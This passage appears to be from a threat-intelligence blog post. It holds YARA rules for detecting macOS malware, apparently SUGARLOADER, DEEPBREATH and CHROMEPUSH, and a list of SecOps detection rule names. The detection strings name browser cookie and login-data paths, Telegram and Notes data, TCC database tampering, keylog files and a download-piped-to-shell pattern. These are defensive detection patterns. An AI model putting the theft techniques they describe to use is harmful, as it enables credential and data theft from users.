$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
$ss2 = "pkill -CONT -f" ascii fullword
$ss3 = "pkill -STOP -f" ascii fullword
$ss4 = "/Library/Caches/.Logs.db" ascii fullword
$ss5 = "/Library/Caches/.evt_"
$ss6 = "{\"bot_id\":\""
$ss7 = "\", \"status\":"
$ss8 = "/Library/Fonts/.analyzed" ascii fullword
condition:
all of them
}rule G_APTFIN_Downloader_SUGARLOADER_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "3712793d3847dd0962361aa528fa124c"
date_created = "2025/10/15"
date_modified = "2025/10/15"
rev = 1
strings:
$ss1 = "/Library/OSRecovery/com.apple.os.config"
$ss2 = "/Library/Group Containers/OSRecovery"
$ss4 = "_wolfssl_make_rng"
condition:
all of them
}rule G_APTFIN_Downloader_SUGARLOADER_2 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$m1 = "__mod_init_func\x00lko2\x00"
$m2 = "__mod_term_func\x00lko2\x00"
$m3 = "/usr/lib/libcurl.4.dylib"
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
}rule G_Datamine_DEEPBREATH_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$sa1 = "-fakedel"
$sa2 = "-autodat"
$sa3 = "-datadel"
$sa4 = "-extdata"
$sa5 = "TccClickJack"
$sb1 = "com.apple.TCC\" as alias"
$sb2 = "/TCC.db\" as alias"
$sc1 = "/group.com.apple.notes\") as alias"
$sc2 = ".keepcoder.Telegram\")"
$sc3 = "Support/Google/Chrome/\")"
$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
$sc5 = "Support/Microsoft Edge/\")"
$sc6 = "& \"/Local Extension Settings\""
$sc7 = "& \"/Cookies\""
$sc8 = "& \"/Login Data\""
$sd1 = "\"cp -rf \" & quoted form of "
condition:
(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
}rule G_Datamine_CHROMEPUSH_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
date_created = "2025-11-06"
date_modified = "2025-11-06"
rev = 1
strings:
$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
$s2 = "%s/tmpCA.dat"
$s3 = "mouseStates"
$s4 = "touch /Library/Caches/.evt_"
$s5 = "cp -f"
$s6 = "rm -rf"
$s7 = "keylogs"
$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
$s9 = "%s/tmpKL.dat"
$s10 = "OK: Create data.js success"
condition:
(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
}Google Security Operations(SecOps)
Google SecOps のお客様は、「Mandiant Intel Emerging Threats」と「Mandiant Hunting Rules」の各ルールパックで、これらの幅広いカテゴリのルールやその他のルールを確認できます。このブログ投稿で取り上げたアクティビティは、Google SecOps において以下のルール名で検出されています。
-
Application Support com.apple Suspicious Filewrites
-
Chrome Native Messaging Directory
-
Chrome Service Worker Directory Deletion
-
Database Staging in Library Caches
-
macOS Chrome Extension Modification
-
macOS Notes Database Harvesting
-
macOS TCC Database Manipulation
-
Suspicious Access To macOS Web Browser Credentials
-
Suspicious Audio Hardware Fingerprinting
-
Suspicious Keychain Interaction
-
Suspicious Library Font Directory File Write
-
Suspicious Multi-Stage Payload Loader
-
Suspicious Permissions on macOS System File
-
Suspicious SoftwareUpdate Masquerading
-
Suspicious TCC Database Modification
-
Suspicious Web Downloader Pipe to ZSH
-
Telegram Session Data Staging
- Mandiant

